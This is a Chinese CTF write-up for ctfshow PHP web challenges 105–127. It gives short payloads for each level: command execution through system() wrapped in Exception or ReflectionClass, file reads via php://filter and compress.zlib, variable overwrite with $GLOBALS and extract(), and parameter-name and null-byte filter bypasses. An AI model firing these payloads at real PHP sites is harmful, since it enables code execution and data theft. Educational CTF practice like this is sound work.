ctfshow 105-127
Web(105)【foreach函数】
Foreach函数PHP: foreach - Manual
?suces=flag post error=suces
Web(106)【shal】
?v2[ ]=3
v1[ ]= 之前104的做法不过这里因为加了一个条件所以要使用不同的赋值。
Web(107)【Parse_str函数】
Parse_str函数的使用是将一个字符串加入到数组中,就是将v1加入到数组中,
?v3【】=
Post
V1=
因为md5无法解析数组所以为空,我们不给v1的值到最后,v2的值也就为空,所以空对空为真。
Web(108)【ereg函数】
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877所以payload为
?c=a%00778
Web109【反射类和异常处理类】
V1和v2要求都有字母。就是最后的形式一般的不行所以要用个类来包含函数,最后输出。
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射
?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')
构建异常类并在类中添加system函数之后是输出,首先要查看flag的位置可以system(ls)之后是发现在fl36dg.txt中。构建成功。
Web 110【FilesystemIterator迭代器】
利用 FilesystemIterator 获取指定目录下的所有文件
getcwd()函数 获取当前工作目录
echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历
?v1=FilesystemIterator&v2=getcwd
之后在url里访问得到的falg文件名称。
Web111【$GLOBALS】
这次依然考点在于变量覆盖(知识点忘记的话去温习一下web105),首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
所以payload为
Code
?v1=ctfshow&v2=GLOBALS
过程就是$ctfshow=&$GLOBALS(全局变量中会含有flag的变量),接着再通过var_dump输出$ctfshow
Web112【is_file()函数,filter() 函数】
is_file() 函数检查指定的文件名是否是正常的文件
filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤
这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可,所以payload为
?file=php://filter/resource=flag.php
Web113【.zlib:】
多过滤了filter上一题的不能在继续使用,可以使用hint中的那个解法和上一题中的compress.zlib://flag.php
这个的提示来解决。具体为啥没找到原因。
Web114【】
将filter解除了限制,试一下直接可以得到。?file=php://filter/resource=flag.php
Web123【变量名】
看到后面有个eval()函数会执行$c
,所以我们就关注$c和if判断需要的两个post即可
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[
则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM
这个变量(因为含有.
),但php中有个特性就是如果传入[
,它被转化为_
之后,后面的字符就会被保留下来不会被替换,所以payload为
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
web125
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag在上题的基础上进行修改然后是它将flag和echo进行了过滤,现在我们需要将一个读文件的操作和将flag传进去,flag被过滤了可以新建一个文件其转折作用
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]);
?1=flag.php
web126【$_SERVER['argv'][0]=$_SERVER['QUERY_STRING']】
$_SERVER['argv'][0]=$_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
Web127【extract】
extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值
举例就是?a=2,就会变成$a=2,这里ctf_show有个_需要构造,前面说过php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格,payload为
?ctf show=ilove36d
ctfshow 105-127相关推荐
- ctfshow RCE极限挑战 wp
这五题都做出来,真的不容易呀,最终终于是在比赛结束以前全部做完了,拿到了十几块钱,是一个星期的早餐了,嘿嘿嘿嘿,哎,不过对于,自增的理解可以说是提升很多很多,这里主要讲的自增,主要详细讲解他是怎么用的 ...
- ctfshow--RCE极限挑战
本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE RCE挑战1 属于简单类型 源码 error_reporting(0); highlight_file(__FILE__); $co ...
- C# 约瑟夫环 用数组实现
约瑟夫环 已知n个人(以编号1,2,3-n分别表示)围坐在一张圆桌周围.从编号为k的人开始报数,数到m的那个人出列:他的下一个人又从1开始报数,数到m的那个人又出列:依此规律重复下去,直到圆桌周围的人 ...
- 【kubernetes系列之安装Dashboard】
目录 一.安装dashboard 二.集群网络模式 三.查看 Dashboard 暴露外网端口 四.访问dashboard 五.创建账户,生成token kubernetes折腾了好久,终于把Dash ...
- java常用算法之冒泡排序简单例子
为了更好的理解冒泡排序过程,下面举一个实例. 初始数组 118 101 105 127 112 一次排序 101 118 105 112 127 二次排序 101 105 118 112 127 三次 ...
- 【Python】数理统计理论:常用统计量、经验分布函数
一.常用统计量 数理统计学中常用的统计量有:样本均值.样本方差.顺序统计量.中位数.众数等. 其中可以反映总体位置特征的有数据的中心位置是均值(Mean),中位数(Median),众数(Mode).其 ...
- 大数据实战二十四课 - Spark SQL04
第一章:上次课回顾 第二章:Spark SQL Functions 2.1 简单小应用 2.2 Spark SQL自定义函数 第三章:Catalog 第四章:DataSet 第五章:窗口函数 第六章: ...
- 数据分析 第七讲 pandas练习 数据的合并、分组聚合、时间序列、pandas绘图
文章目录 数据分析 第七讲 pandas练习 数据的合并和分组聚合 一.pandas-DataFrame 练习1 对于这一组电影数据,如果我们想runtime(电影时长)的分布情况,应该如何呈现数据? ...
- [2019红帽杯]easyRE1题解
迷蒙马背眠,月随残梦天边远,淡淡起茶烟. --松尾芭蕉 目录 1.查壳 2.拖入64位I ...
- Redis Essentials 读书笔记 - 第一章: Getting Started (The Baby Steps)
Chapter 1. Getting Started (The Baby Steps) Redis是在内存中运行的NoSQL key-value数据库. Redis的优势除了内存的高性能外,还有其支持 ...
最新文章
- Javascript字符串及数组赋值区别
- Nginx(一)------简介与安装
- CentOS7.2 安装Squid3.5及正、反向代理设置
- 在Flex3中使用Runtime Shared Library (RSL)
- Spring Boot 参考指南(运行你的应用程序)
- 《Cassandra实战》CassSeller程序源代码下载
- 快速撑握C#知识点之变量,类型及类型转换
- step3 . day8数据结构之算法
- Java从键盘输入若干数_用java编程序:从键盘输入若干个整数,输出这些数中大于其平均值的数。...
- 重庆高职高专计算机排名,重庆十大大专排名(含分数线2021年参考)-重庆最好的全日制专科学校...
- su 、 sudo 命令及限制 root 远程登录
- iOS 使用 socket 即时通信(非第三方库)
- MyBatis框架学习笔记04:利用MyBatis实现条件查询
- SSH 上传下载文件
- Jquery实现循环删除Reaper某一行
- c++ opencv mat_OpenCV计算机视觉-Core组件(一)
- tomcat官网下载详细步骤
- NOIP2016:换教室
- nova虚拟机迁移一
- 微信小程序开发前后端交互快速入门
热门文章
- 数字集成电路版图设计(三)——加法器绘制
- 安德森:无人机未来的发展会与智能手机趋同
- 互联网电商大数据环境 ——大数飓数据分析实践培训精华笔记(六)——电商核心业务知识之订单商品模块
- 谈一下PCB的布局与走线
- 采集全站资源PHP源码V1.2
- 《工厂订单出入库信息管理系统》模块1 -- 订单管理
- 信息化时代,你为什么还在坚持读纸质书
- 千瓜深度解读:2020小红书双十一全行业“种草”、“拔草”投放攻略
- 【误码率仿真】基于matlab多径信道下OFDM通信系统误码率仿真【含Matlab源码 2078期】
- 三分钟热度的人,无法过上自律的生活